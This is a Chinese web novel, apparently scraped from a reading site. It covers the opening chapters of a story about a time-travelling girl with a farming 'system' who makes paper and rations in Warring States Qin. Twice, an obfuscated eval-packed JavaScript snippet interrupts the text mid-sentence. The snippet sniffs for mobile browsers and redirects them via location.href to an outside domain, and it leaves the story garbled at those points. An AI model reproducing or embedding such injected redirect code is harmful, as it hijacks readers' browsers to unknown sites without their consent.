《在大秦觉醒神农系统》 1. 01战国 秦王政三年，蒙骜攻韩，取十三城。 十月，骜攻魏氏畼、有诡。 岁大饥。---《秦始皇本纪》 洛阳城外。 四月末的天气，太阳并不浓烈，小满跟着照顾她的阿姐在田中穿行，时不时跑到一边，采摘着看起来不太一样的草杆枝叶。 天空晴朗，不见丝毫云汽雨迹。 临河的田主与佣耕忙碌着担水浇田。 “阿姐，这是什么？”小满拿着几个细长带叶的草杆举到田边除草的女子跟前，认真问道。 “这是野麦，这是狗尾草，都是毒草。”忙着拔除杂草的女子直身接过，分别指明道。 这个毒草不是有毒，只是对麦子不好的意思。 女子将草杆还给小满，顺便摸了摸她的头，并不指望孩童一起劳作。叮嘱道：“那些田埂上的‘草’也是有人种下的，月儿不要随意采摘。” 小满随着看了过去，系统页面显示，南边那些叫麻，北边的叫葛。 之前的系统任务之下她已经采集过了不少野生的，于是顺从的点头，“哦。” 这些叶子都太细了。她想要的是可以当纸一样用的宽大叶片。 只是除了树叶，没有宽大的叶子。 小满在田埂堤岸上，围着杨树桃树转了几圈，摘了几个树枝叶片试了试手感，树枝丰盈，入手薄脆。 还好她的造纸实验应该快出结果了。 谁能想到穿越到战国吃喝拉撒都是问题啊？ 可能因为她没穿越到拿绢帛当纸挥霍的大户人家吧？ 这具身体只有六七岁，生月不详，父母未知，她在这具身体醒来两个月了，没有见过靠谱的亲族。 照顾她的是一个叫扬的侍女，看起来也就十六七岁，比之前的她大不了多少。 不过每月有管事样的男子带人送来柴米，约是有类似宗族或者善堂什么的在供养她们。 小满问过，那管事是吕家在雒阳庄子上的一个家吏。 秦汉时期有公侯大夫等有功之臣，获得大量的田室食邑等封赏，这些要人打理，便有家丞家吏等掌管家内事物之人。 雒阳，即洛阳。 而她姓姜，名月，她母亲姓姬。 姬姓正是宗周王室之姓。 这个姓加上洛阳这个地方，大约是周王室之后。 小满身边除了扬还有三四个年纪稍大的女侍及一个马夫。 那些人日常做饭劳动，听从扬的指挥，吃穿用都有隐约的主仆之别。 同宅院居住的还有一队护卫，每日操练，巡守村院，有模有样。总得来说看起来身份并不低。 可惜身份不低也没用，从她之前收集的信息来看，如今约是与历史上战国相似的平行时代。 春秋战国，懂得都懂。 后世很多蔬菜水果没有传入，物产不丰不说，甚至石磨还未推广，生活水平离原始人不远，衣食住行，说得上粗糙敷衍。 穿的是粗布麻衣。 吃的是豆饭麦饭，最多再加上咸菜酱汁。 住的地方，目测是石头奠基，砖石修建，但是中间是泥土粘合，一不小心就掉渣渣。 至于行，有马车牛车，虽然简陋颠簸，古代几千年都这样，也算有所心理准备。 除了这些，还有关于这个时代的零碎消息，他们所在的地方属于秦国，周王城属秦，代表周朝已经没了。 今年是新王继位三年，这三年东边北边都在打仗，与赵国与韩国与魏国，每年挑一个，乱成一锅粥。 王年少，国事委任大臣处理…… 委任的这个大臣，便是这片土地的主家吕氏，封文信侯，为大秦相邦。 这些信息综合，小满只能想到一个名字——吕不韦。 战国末期一个商人，帮助统一六国的秦始皇他爹登上王位，在那个不知名的秦王登上王位后，为相封侯，完成华丽变身。 以小满的历史水平只能推到这里了。 搞清楚时代信息，小满终于能让系统开放历史词条，任其搜索。 可那史书是编年体，秦王政三年那一页开始，是一片空白。 “系统，秦始皇哪一年统一的六国？” 小满心中默念，公元前二二一年。 系统回复：【抱歉，主人，人家不能说。】 初中历史都不行？ 已经发生过的的信息倒是能查。 史书上写，吕不韦引兵伐灭东周，得其君，尽收其城，封文信候，食雒阳十万户。 吕不韦灭了周，又供养其后裔，总不是什么烂发好心。 所以知道吕不韦是这具身体的生身父亲时，小满并不十分意外。就是觉得同一家的人，三口三个姓氏怪怪的。 虽然扬因远在咸阳的东家对姬夫人母女不闻不问十分愤慨，小满并不以为意： 她在这边有吃有喝有人照顾保护，还不用认陌生人做父母，娱乐学习改善生活有系统，简直不能更愉悦。 还好她穿越时，之前制定的游戏系统跟了过来。 游戏是正经种田游戏，大概样子按照她幼时生长的村庄所定制。 前世小满生命结束，选择意识上传后，便生活在其中。 游戏系统录入了大量信息，上知天文下知地理，不仅能掌控种田进度，还能 小满每天按系统提示，种田，浇水，施肥，具体劳作可以由系统代行，她负责敲定购置种子化肥，狂点新发现的作物基因检测，杂交育种等，企图弄出新品种。 有时想换换心情种些玉米红薯，或是油菜向日葵，有时恢复地力种豆科固氮或者直接撂荒，只在边角种些花卉。 可以说十分悠哉。 这样还不安稳，偶有一次约是出了岔子，现实世界的基础设施发生了故障，她失去了与原本世界的联系。 没有现实依托，系统空间能量消耗太大，漂泊了一段时间后，被乱流卷入，落到了这一方平行世界。 她的意识借尸还魂，成了战国时代一个受寒受惊、刚刚失去性命的小姑娘。 而她随身的系统，则以特殊形态与这个位面的一些规则发生耦合，经过几天的休眠升级，重新归来后拥有了类似变虚为实的能力。 能把系统里虚拟的东西拿出来变成现实。 一开始小满不知道这个能力多么逆天，只看发布的任务：【种植一季小麦，获得复合肥料制作流程；】 【种植水稻，获得氮肥工艺制作流程；】 【种植玉米，获得磷肥工艺制作流程；】 …… 这些还有产量要求，少则千斤多则上万斤，没有要求必须全部自己完成，但是收割要她自己动手，且整体劳动量不少于百分之六十五。 从种田游戏升级成了神农系统，种田的活计全让宿主去干，这是人能干出来的事？╰（‵□′）╯ 小满好不容易养好病，出门转了一圈，看着系统虚拟屏幕上规划的开垦荒地范围，很生气不能动手，物理让系统认清现实。 但是没有力气生气，因为早上的豆饭藿羹有点难以下咽，她没吃多少。爬上这个坡已经用尽了洪荒之力。 游戏内的种田变成了现实世界的种田，兜兜转转回到原点。 还是战国时代，没有高科技器械辅助的刀耕火种，小·七岁·满，一度只想放弃摆烂。 “这些种地的都干不了。”小满两手一摊示意看看这小身板，然后给统子画饼，“你等我十年。十年后要是能平安长大，应该也是干活的一把好手。” 但是要先保证能平安长大。 系统总不能一点用没有吧？ 与宿主意识相通的系统欢快应答，“系统当然有用啦，”然后正色道：“战国时代列国伐交频频，交战不休，为保证宿主生存，每日存活签到，可获得基本生活物资。柴米油盐等均有涉及。” “系统查看，宿主已经签到七天，所获物资有大米十千克，小麦十千克，食盐五百克，冰糖一千克，可燃物一百五十千克，宿主为什么还不领取使用呢？请问是有什么不满意吗？” 满意，满意的不得了。 签到得到大米食盐糖，小满尝试着领出来过，系统出品，参考后世工业水准，都是上等品质。 但是她周边都是人，这种品质的东西拿出来，怎么解释来源？ 有用但是不能用。 更可恨了。 难道要自己偷偷出来开小灶吃独食？ 或者在住的地方开火，用自己签到得来的燃料，只要自己不心虚，强硬一点关上门也没人敢窥探。 只要不被当成妖怪就行。 那么就需要给食物找一个合法合规的来源。 小满想过那些东西她不能拿出来吃，可以换个身份卖出去。 但是一来东 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任务丰富是很好，可是这些植物她都不认识啊。 难道还要一个一个系统识图？效率得多差啊？ 不过目前还是先尝试一下，才知道怎么完做更好。想着小满呼唤系统，准备对就近的植物开始识图，然后看见视线范围内飘过一个标选框。 小满眨了眨眼睛，抬头再看时，发现近处远处有许多植物被系统透过虚拟投影框了起来。 根据系统框选，小满直接上手。 几秒之后，看着满手支离破碎的植物，手动打开系统商城。 春天万物复苏，雨水增多，春雷诈响，蛰虫惊出，土地应该是松软的。 可这是荒地，没人专门松土，有的植物根系发达，加上她身小力弱不好发力，一拽便枝叶脱离，七零八落。 还是借助工具吧。 战国末期是青铜向铁器转变的时代，一些地方铁质武器和农具都已经开始普及，所以系统商城里铁质药锄并不算贵，只要十积分。 小满每天签到可获得一积分，签了七天有七积分。聊胜于无。 小满毫不犹豫的点向购买，当然积分不够买不了。但是点开之后，购买旁边有新出现的获得积分按钮，点下去出现三个任务栏。 一个是每日签到。 一个是系统任务。 一个是卖出物品。 每日签到栏目是灰的，今天已经完成了。 系统任务是完成任务获得积分，里面有种植任务采集任务； 卖出物品栏显示着她签到得来的那些东西可以卖出，换取积分。 反正暂时也用不到。 那些“柴”禾一共有一百五十千克，卖出一份五十千克获得十积分。 小满点击确认卖出，伴随着欢快的音效，“又靠自己活了一天，已经很厉害了呢。”五十千克柴禾转化成了积分。 不知为何，小满从系统音效中听到了凄凉坚强和一点点的强颜欢笑。 小满取出系统背包里赠送的背篓，拿积分兑换了药锄，往嘴里塞了一块冰糖，防止自己饿晕，开始动手挖。 采集的植物放入背篓，或是按数量或是按重量，被系统回收。 小满手里的药锄，适合精细挖掘，采集时能尽量保证植株完整，一般大的两三棵，小的一两斤就判定任务完成了。 有了工具效率高上不少。 就这样挖了半个时辰，走走停停转移了一里多地，系统任务完成十多单，兑换的种子塞了两排背包格子。 春天是很好的季节，很多东西都适合播种。 回到居住的小院，小满查看系统任务发放的种子中，适宜种植的品种，选了几个，将辣椒甘蔗等种子兑换出来，准备试试。 根据系统提示，小满拿来锄头在院中边角土地松软的地方挖坑。翻整了两垄土地。 辣椒种子可以随意播撒。 甘蔗种子是一段段小臂长短的茎节，一节上面有三四个已经萌发的嫩芽。 需要一节一节种下，两个都种下之后，覆土浇水。 “月儿在种什么？” 侍女扬走过来，俯身询问正往图上覆盖麦秸干草的小满， “是好吃的。” 2. 02造纸术 扬看着那铺了一层的稻草，猜不透这小主人在干什么，只好放弃研究，提醒道：“月儿，该用夕食了。” 晚饭依旧是米粥青菜酱汁，扬一般用餐一边观察小主人吃饭，“可还合口味？” 小满闻言认真点头，“好吃。” 她说的是真实感受，米粥之中砂子硬壳没了，又熬煮透了，有股米脂香气。 青菜普通，不过也是清洗干净的，酱汁是肉做的，带了些微咸香味。 看着扬松了一口气，默默扒饭的样子，小满福至心灵，“这些是阿姐特意准备的吗？” 扬沉默了一下，“这些本就是我份内之事。” 初时夫人不在了，将小主子交付给她，小主人离不了她身边，那依赖之情可怜可爱，让她不忍。 现在小主子虽然还是十分依赖她，偶尔也会神神秘秘的自己鼓捣些东西，让她有种孩子长大了了的酸涩欣慰。 偶尔分开半天，回来看人安安静静的等她，又忍不住在小孩吃用不随心的时候，做的更精细一点，让她开心点，多吃点。 算上穿越前的年龄，扬也比自己大不了多少，小满有点不忍心心安理得的享受照顾，将菜蔬都推到扬跟前，“阿姐也多吃一点。” 饭毕，小满主动去洗碗，借着独自在厨房的机会，偷偷将一点稻草拿出来，假装是自己收集的，放在灶火前。 第二天，小满早早起来主动去灶前烧火，一边假装是从身后拿取柴火，一边从系统空间掏出稻草填到灶底。 一顿饭下来，不但饭菜煮的更香，费的柴也比之前少了一半，就是原本加了大半釜的水，熬干了许多。 小满一边犯困一边打开系统签到，【签到成功，系统奖励造纸术方，请宿主及时领取。】 原本不太感兴趣的小满一个激灵。 造纸术，这个可以有！ 【造纸术：古人书写，在书简上进行，以皮线编织成册，也有绢帛书写，谓之纸。 改进版：绢贵而简重，不便于人，伦乃造以树皮，麻头，弊布，渔网为纸。 原料：树皮，麻头，破布，渔网等 步骤：切碎，蒸煮，打浆，抄纸，晒纸。】 每个步骤点开都有具体操作。 切碎，将原料洗净切碎；蒸煮，草木灰浸泡，去掉杂质后蒸煮；打浆，煮烂后捞起滤干，捣成糊状，放入水中形成纸浆；抄纸，…… 甚至还有示意图，“系统好厉害，奖励个肉干好不好？” 种田系统兼职萌宠，当它面板上走出来喵喵喵的时候，可以投喂。 仓库里幸存了许多零食装扮，都是专门给它准备的。 小满吃饭时还仔细端详着这所谓造纸术，每一个细节都不放过，直到收拾完碗筷，扬看她一直心不在焉，接过碗筷，让她自己去玩。 小满扫了一眼灶下那一捧一直烧不完的麦秸，走出门外才问道：“统子，你说这造纸术，它有没有麦秸为原料的方子？” 系统响应迅速，【回主人，系统商城有的对应方子。只要二十积分。】 系统飞快调出一个更为详细的造纸流程，罗列可以用哪种材料，材料特性与成品效果，每个步骤先后顺序，所需时间及达成状态，每个步骤及其作用原理。 当然完整显示出来的只有前两三步骤，后面都要积分解锁。 小满缓缓扫视过去，摇头，她只是想确定麦秸能不能代替破布渔网。 既然签到已经有了方子，并不想去买另一份。 而且，这些蔡伦改进造纸术这种后世的东西都能拿出来，偏偏不给看正经历史书。 小满轻轻啧了声，“能不能发扬点互联网精神？而且我记得你应该存有很多天文地理知识？速速把存储的造纸教程端上来。” 闻言系统当机一秒，觉得主人说的有理，再次响应，“哦，好的。” 调出小满想要的内容之后，系统才弱弱回道：【主人，一个方子二十积分已经很有互联网精神了，一百张纸也约是这个价格。】 【在古代，一张方子可为一家一业的立身之本，根本不会外传。】 相关资料委实不少，某一个时段分享这些日常生活古法工艺是潮流，这些内容有文字有图片甚至还有视频。 小满一边浏览一边忽悠，“你不懂，古代一家一业的建立是以年为单位，几代人为基础，一个细节的改进，不知耗费了多少人心血。” 树皮要去掉外层杂质只留白色纤维层，阳光暴晒，加水浸泡，石灰水熬煮可去除杂质，为纤维脱胶，使之松散。 可用草木灰水代替，不过效果未定。 “有小可爱你在这里，我们缺的是那些细节上的信息吗？我们缺的是时间，和人手材料。” 捣烂放入水中，形成纸浆后，加入纸药水汁，使纤维均匀交织，纸面洁净。常见纸药有黄蜀葵，杨桃藤，山胡椒叶，仙人掌等。 小满在光屏上划拉的字转化为端正楷体，确定没什么遗漏，小满伸个懒腰保存。 系统理清了小满的逻辑，带着某些气息幽幽道：【主人，虽然你这么说，除了下载时已经付过费的内容，还是不能给你看，保护版权。】 “欧克，你说的对。”反正已经补完了方子，系统大功臣，说什么都对。 小满清了清嗓子，“那么我请问，我们已经离原世界很远了，这是平行时空，现在付了积分还能下载吗？或者你能把钱发给人家吗？” 系统沉默良久，缓缓敲出一句，【可以……尝试？】 小满对此不太抱有热情，“哦，你加油尝试。” 一方面听系统艰难保守不确定的回答，觉得机会不大。 另一方面，小满与系统所来的方向是一个末世。 辐射变异病毒酸雨等天灾人祸拉满，人类在外面生存都是危险重重，被迫开辟了地下基地。 东大底蕴深厚，最顶尖的科学人员集齐之后，转移到地下种子库派上用场，过了几年实验场才培育出足够的食物供应。 因为人口多，活动空间小，许多人沉溺于虚拟世界，虚拟现实技术发展的如火如荼，才有了小满定制的游戏系统。 确定好方子之后，小满开始溜达着寻找场地原料。造纸过程需要沤渍发酵，需要大量水源，正好居所不远处有一小河。 小满沿着河流向下游走了半刻钟，看到河岸有临近水源和缓平整的台子，似乎是漂衣的地方。 离岸不远，有几个浅陋的池子已经枯竭，池壁上还留有苔藓干后留下的印记。 就是这里了。 这似乎是以前用来浸泡的地方，水池上下还留有麻头木杆。水池和小河之间还有一道略微倾斜的暗渠，用来引水。 此时春季，河水上涨，只是入水处正被一块石板堵着。小满取出系统空间里的麦秸稻草堆在池水边，做好准备便去动手放水。 小满正在岸边徘徊，弯身试了试石板是活动的，只是石板本身厚重，底部又有泥沙想把那块石头移开就没那么容易了。 没等想出办法，忽然听见一声喝斥，“喂，小孩，离水远点。” 小满回头，看见一个长手长脚的少年，拎着一个竹竿，愤愤的朝这边走来。 小满看对方大步流星过来，连忙按指示站起身，离开河岸。 刚站起来远离了水源一步，就被拎着脖颈衣服，提到离水岸一丈远的地方。 “喂，放我下来。” 小满挣扎了一下，少年便放开了她，拿着竹竿挡在小满与水之间，“你是谁家的孩子？在这做甚？” 小满打量了一下对方，这人力气好大，不知道能不能把那石板搬开，含糊指了指住的方向，“我在那边住。” “我要浸泡一些东西，想把那些池子灌上水。” 解释完，主动求援道：“那里有一个石板，能不能帮我搬开？”小满掏出一个手绢，展开上面放着四五块冰糖，“我拿糖和你换。” 少年打量了她一圈，一番欲言又止，“你……” 小满看了看自己，又看了看那个石板，那石板好像是重了点，加上还有青苔…… “哦对，不知道你力气够不够？要是受伤了就不好了。” 小满考虑一下，觉得不要为难未成年，还是去喊住所附近的护卫来吧。 看着盯着糖块的少年，又有些不好意思直接反悔，捻起一块递给对方。 “给你一块，麻烦你帮我看一下那些秸秆，我还是去请护卫来帮忙吧。” 小满顺手捏了一块冰糖放进嘴里，转身要走，看着少年呆立在原地，觉得劳动力不能浪费，“哦，对，顺便麻烦你帮忙把淤泥清一下。” 走出没几步，身后传来略带激动的声音，“我，我可以把石头拿上来。” “啊？” 小满回头，看见少年一侧脸颊鼓起糖块的形状，嘻嘻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230772|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，原来是被糖诱惑了。 就是这反射弧也太长了吧？ 少年略微低头，“我先把淤泥清了。” 然后快步走到旁边，跳下浅池。 小满看了一会儿试图拿竹竿去清淤的少年，转头看了看麦秸堆，提议道：“我们去找点工具吧？” 底下的淤泥基本也已经干了，拿竹竿清淤有效果但速度太慢。 小满不由分说带人去附近工匠处借了个铁锨，顺便去养马的人那里扛来了切草的铡刀。 回到河边，少年拿上铁锨继续去清底下的淤泥，小满埋头吭哧吭哧把稻草切碎，还好稻草麦秸经过充分暴晒，嘎嘣脆，并不难切碎，只是重复抬起铡刀有点费力。 少年手脚麻利，没多久就干完了，“淤泥清好了。” “嗯。”小满继续埋头苦干。 少年在旁边转了一圈，便向河边走去，小满看少年准备移开石板，连忙放下手里的刀，跟过去看护着。 小心叮嘱着：“煦，如果弄不动也不要逞强，小心别掉水里。” 然后就看见，名为煦的少年看了她一眼，抬脚跳到水中，从下面使力轻松把石板抬了上来。 水位到少年小腿，小满伸手试了一下，三月初的天气，阳光和煦照的一切暖洋洋的，只是水温还是有点凉。 煦看着小女孩的手指燕子衔泥似的在水面点了几下，只觉得这个小贵人真是古怪又娇气。 非要往池子里泡切碎的秸秆是十分古怪，而忙活了这许多时间，只切了不到一半的秸秆，手掌已经磨红了。 煦不再看玩水的小满，默默的起身去把剩下的秸秆切完。 “喂，这切完了，要放水里吗？” 拿着竹竿鼓捣的小满抬头，发现人家已经把剩下的秸秆切完了，连忙应声：“是，放水池里。” 转到暗渠的水细流涓涓，已经铺了一个池底，小满看水流太小，觉得底下有杂物挡着。 正拿木棍竹竿，试图清理一下。 看小满费力的样子，煦直接走过来把暗渠上面的石板掀开。 打开之后，顺手把阴渠里的杂物清理了，又一一恢复。 切好的麦秸只填满了一个池子，看其他空着的池子，还需要继续补充原料，或者再换点其他的比如树皮什么的。 趁着免费劳动力，小满又去各处厨房灶下收集了草木灰。 一切料理妥当，还完工具已经是太阳偏西，时间已经是下午三四点了。 两人又走回小河边，看了一会儿劳动成果和粼粼河面。 煦几次看向小满，才开口，“你，那个叫糖的与饴一样吗？” 饴糖是糯米等谷物发酵的，与麦芽糖差不多，吃起来柔软粘稠。 “差不多吧。” 甘蔗刚种下还没发芽，制糖工艺她还没搜索查看。反正主要成分应该就是淀粉，转化成的蔗糖果糖葡萄糖一类的。 小满掏出之前包着糖块的手帕，原本有五块冰糖，她吃了一颗，给人一颗，如今里面还有三颗。 让人忙了大半天，只给三块糖似乎有点太小气了。 小满掂了掂腰间另一个布包里的十来块冰糖，还是不好意思的笑笑，“哎呀，今天太麻烦你了，这糖只有三块了，你先拿着，明天再来，我给你带些其他好吃的可否？” 说着把糖包起来，塞到对方手里。 闻言，煦迟疑的点点头，小满趁热打铁，“对了，你住哪里啊？” 煦指了指方向，“那边，下岸。” “哦。”小满看了一圈，下游确实有村庄，不过她好像看到这边还有什么东西。 小满好奇心起来，慢慢朝那边走着，“煦，之前见你拿着竹竿是要做什么？” “钓鱼。” 小满不置可否。 钓鱼不用钩，您学姜太公呢？ 少年见小满朝那边走去，捡起自己的竹竿，跟了过去。 然后想起什么，看了看天色，小跑着越过小满，“我走了。”跑出一段距离才想起来朝后面挥手，“天色晚了，你快些回去吧。” 小满点点头，目视少年跑开。 继续近前来看，那凸起的部分，好像是一睹矮墙，长长的朝两边延伸着，向内略有些弧度，标志着内部是私人土地。 小满顺着比划一下，看着身后聚集的屋舍才明白，原来都是一家之物。 这吕家庄子还不小呢。 3. 03 石灰 小满回到住的地方，按系统提示，给种下的甘蔗浇了一遍水。 因为答应了次日带吃的过去，小满进门之前，瞧瞧从系统空间取出一小袋米分装好，拎在手里。 浇完水坐了一会儿。 见到扬回来，高高兴兴的说道：“阿姐，有人给了我一袋稻米，让我煮熟明天一半带过去，一半自己吃。” 扬看起来半信半疑，接过布袋打开看了一眼，心下一惊，越过小满朝四周看了一圈，又回身看了看门外，没发现人影，才掩上门。 回转身，拉着小满进了屋子，才开口询问，“月儿，这是什么人给你的？” “一个老婆婆，很老很老的婆婆，头发是白的，弯着身子。”小满夸张的比画。 然后适时露出几分疑惑，“有什么问题吗？” “没什么问题。” 扬打开布袋，摊开稻米，仔细观察着，“就是这稻米饱满光亮，好像玉石做的一样，不知道煮不煮的熟。” 也太夸张了，不过是品质好一点的白米，用了化肥农药，没有病害虫害侵袭，而且高效脱壳没有稻壳杂质而已。 小满相信就算当前战国的时代也有一小撮人，吃着用着比这更好的。 就是不知道是一亩能出产多少，又要多少人精心伺候，经过多少重舂捣挑选出来的。 而在后世，这样高产的粮种，普通人也吃得起。 “煮煮试试就知道了。”因为没有稻壳碎石等杂质，清洗两遍，洗去浮尘，便放入釜中，加水煮了起来。 又不真是什么金玉造物，当然能够煮熟，除了煮的，还有甑里隔水蒸的。 好些的米确实不同，水刚刚烧开，蒸汽溢出，就能闻见清新的米脂香气。 成品确实不负系统出品，香气吸引的门外驻足的脚步声都多了些。 小满劝说下，两人各自吃了一些。 翌日，小满拿洗净的荷叶包了两大团米饭，出门取出工具，把食物塞到背篓里，出发到昨天的小河边，没等一会儿，就见到煦出现在不远处的矮墙边。 “嘿。”小满看见对方，举手挥了挥手里的药锄，见人犹豫不动，主动朝那边走去，没一会儿煦同样越墙过来。 两人碰面，小满打量了一下，对方依旧是昨天的样子，衣衫单薄但是还算整齐，就是有点短，略显局促，头发半束半散，额前脸颊耳后有些碎发，看起来有点凌乱，束起的在头顶扎成一个类似马尾的小髻。 小满从背篓中掏出还有些烫手的米团，“诺，好吃的。” 煦接过打开，闻着香味，肚子发出咕噜一声响，打开之后有些呆怔，“这是给我吃的？”里面的食物干净温润，还散发着诱人的香气，是他从来没见过的样子。 “不，这么好的东西……” 小满推了一下对方手肘，“快点吃吧，吃完还要干活的。” 小满不太好意思说，这是昨天吃剩下的，因为她下手没分寸煮的太多了，她自己食量小，饿得快，但是吃不多。 扬也跟着她的食量，不好意思多吃，早上小满索性除了剩下的，又新煮了一部分，表示米还是挺多的，不想浪费就吃多点。 只是没想到，喝完粥之后，确实吃不了了。还好米团比粥方便携带，索性一并拿了过来。 还好三月天气，夜间尚寒，没那么容易坏。 小满拎起背篓药锄，丢下一句话，朝系统任务指示的方向去，“吃完来找我啊。” 煦将米饭塞进嘴里，一边咀嚼感受着甜味，一边猜测这个小贵人到底要干嘛，他一开始以为对方只是一时兴起，想玩些游戏的富家子，拿着比饴还珍贵的糖贿人陪她游戏。 今天却拿出了这么珍贵的食物，说明这是经过家中大人同意的。 煦一边吃，一边观察。 他隐约记得，小时候那边池子原本是本地人家沤渍麻葛纺线织布的，后来遭受战乱，庄子几经易主，现在那庄子是大秦相邦吕不韦所属。 大约是主人富贵，仆人生活也有所变化。 庄子里的人慢慢不再进行这种零散劳作，牛羊鸡豚都是成群饲养，专人看管，零散的麻葛售送到更大的工坊内。 连仆人的衣服，也有专门的人漂洗。 他本来就是放牧的羊倌，只是被诬赖摔死羊羔，遭到驱逐，想着到河边打点鱼充饥才遇见小满。 煦在这生活了十几年，知道应该不是吕家要重新开始纺麻，只是小女孩做事也很有条理，应该不是单纯游戏玩耍。 煦边吃边理清了昨天做的所有事，还是想不明白小满要干嘛。 于是不再做无用功，将剩下的饭食包好放到衣服里，转身去找小满。 吃了人家的东西，总要干活。 跟着看，总会明白的。 “这么快就吃完了？”看见煦找过来小满嘀咕了一句，指着一个棵伸展的树问，“这是什么树你认识吗？” 煦点点头，“认识，穀。”长大了会结红色的果实，可以吃。 “哦。” 小满点点头，系统识别这个叫构树，树皮是造纸原料，除此之外能造纸的还有桑树，青谭树，苎麻什么的。 可惜小满只能按图索骥，还没发现其他的树。 “我们把它砍下来。”只要树皮。 “现在先去借斧头。”煦欲言又止，最后点头，这山上草木理论上都是吕家所有，普通庶人在山中发现了果子要摘点吃，被凶狠一点的人发现了，都要挨打或者赔偿。 不过小贵人，应该是没事的。 匠人出门做事不在家里，工具也被带走了。其妻看见小满，去库房找出一个备用的小点斧子。 没想到对方这么热心，小满双手接过，“多谢阿姆。”她眼睛看见旁边屋棚下有一堆白色的似乎是石灰，忍不住问道：“阿姆，那些是什么？” 妇人看了一眼回，“那些是白灰，谁家筑房和水涂在壁上，可使墙坚硬光滑。” “哦，多谢。”小满再次道谢告辞离开。 没想到这时代真的有石灰。 她看过石灰制作，大概是煅烧石灰石贝壳等碳酸钙含量比较高的原料，以古人的智慧和对自然的开发，弄出来这玩意也不奇怪。 有了这个，就算纯度不高，造纸也能更加事半功倍了。 回到山上，煦依她所言开始砍树，因为所需要的主要是树皮，加上工具人力所限，所砍的大都是拇指到手腕粗细。 小满拿着药锄一边去做系统任务，过一会儿回来看看，并顺手整理一下树枝。 时间约莫到中午，周围合适的树木已经被砍完了。 小满又采集几颗不知名的植物，放进背篓中，没来的及看系统识别出来的名字，旁边草木一阵动荡。 小满警惕着怕是什么大型野生动物，就看着拎着斧子和树枝的煦钻出来。 小满回头发现，两人居然已经跑这么深了。 于是放下背篓招呼道：“喂，煦，先吃点东西吧？” 背篓里，东西不多只有一两个系统没收的小可怜，和几颗做遮挡装饰的草茎柳枝，底下是早上准备的米饭，还有两包。 看小满递过来的成人手掌大的叶包，煦摸了摸胸前早上剩的，“我还有。” 小满笑笑，执意递过去，“那留着饿了再吃。”留下的两个包了好几层叶子，体积显得有些大，不过保温效果还好，打开最内层还有些温热。 吃了几口，小满看向系统面板，这两天完成了三四十个任务，除了暂时用不到的种子，现在有五十积分。 商城里可供食用的大米面粉比较便宜，一积分两斤，与签到奖励兑换出去的价格差不多，作为种子的米麦则要贵上两三倍。 换算完后，小满一瞬间想过，拿奖励来食用的米麦用来播种可以省一大笔。 不过想想后世高产种子与杂交谱系之间复杂的关系，小满觉得还是慎重点，万一是不能出苗的或者再分化了就尴尬了。 纸张石灰及一些铜铁农具也有卖，算不上贵也算不上便宜，如果不是必须，不打算去购买。 至于其他现在生产力很难达到的，比如汽车电视电话…… 商城也有，不过价格是天价，她把洛阳周边挖穿说不定能买得起一个。 今早的签到奖励又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230773|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十斤稻米，应该够吃一阵子了，就是这么驱使一个劳力，只给吃饭，不给工钱，小满良心有点痛。 还好当前资源不容许她有太多良心，看着开始削枝剥皮的煦，小满暗暗发誓以后富裕了一定补偿阁下。 树皮削完外层粗糙的部分，再从木质杆剥下来，就是柔韧的纤维层。 一个人用斧子去削不太顺手，效率太慢，小满用积分兑换了两枚木柄小刀，假装是从小框里掏出来的，顺手递了一把给煦。 煦接过去端详了一阵，却是从未见过如此明亮锋锐，平滑坚硬的铁器？ 这两个小东西似铁非铁、似银非银，这样一个吹毛可断的利器，竟然随手给了自己？ 小满也很心疼，无它，两个加一起没有药锄重，却花了药锄两倍的积分。 当然因为那是合金。 小满觉得系统商城里这种小东西还是挺良心的。 若按现在的生产力，就算她拥有全套精细流程，和充足的人力物力，想要打造出来一把这样的刀，起码也要花上两三年的时间。 首先就是建炉，采矿，战国末期虽然有冶铁技术能把铁融化成铁水，可是其质脆硬，只能打造农具。 就算拿现成的铁料，还要建高炉，高热值燃料，将碳含量控制到适宜的成分，然后还得加锰铬镍等其他金属材料…… 当然，现代武器最大的优势就是稳定高质量产。 如果没有庞大体系的支撑，制出合格的合金钢也只是部分人能拥有的少量装备，就像湛卢太阿干将莫邪一类的古代名刀一样。 煦接过试了一下，这个小刀切割木材就像切泥块一样顺滑，而且不会留下丝毫痕迹，分开树皮轻松如同裂帛。 两人通力合作，一直忙到日暮西垂，剥完的树皮约有三四十斤，当然外层粗糙的树皮剔除的不太干净，加上树皮潮湿才有这么重，还需要晾晒干。 两人沉浸在工作中，直到手边没有多少木材了，煦抬头才发现，“时间不早了。” “哦。该回去了。”小满活动活动手腕，看着一大堆树皮和小山似的木枝，不由咋舌，这小兄弟一上午到底砍了多少树啊？ 更多惊喜/惊吓的是，煦指着树林深处说了句，“那边还有一点。” 小满摆摆手，“明天再说吧。” 煦把堆起的树皮用剔的干净的树皮束起，拎着扛起走在前面，小满捡起零碎的树皮和斧头跟在后面。 走到小河边时日头已经完全落下，瑰丽的云彩逐渐退去霞衣，夜幕正在降临。 简单把树皮在石头上铺展开，小满把剩下大半的食物递给煦，安排道：“你先回去吧，我去还斧头，明天再见。” 到了地方，匠人已经回来了，小满还完斧头，礼貌询问石灰价格，“阿叔，那些白灰售价几何？” 对方疑惑的看了一眼石灰，又看一眼小满，最后反问一句，“你要那干啥？” 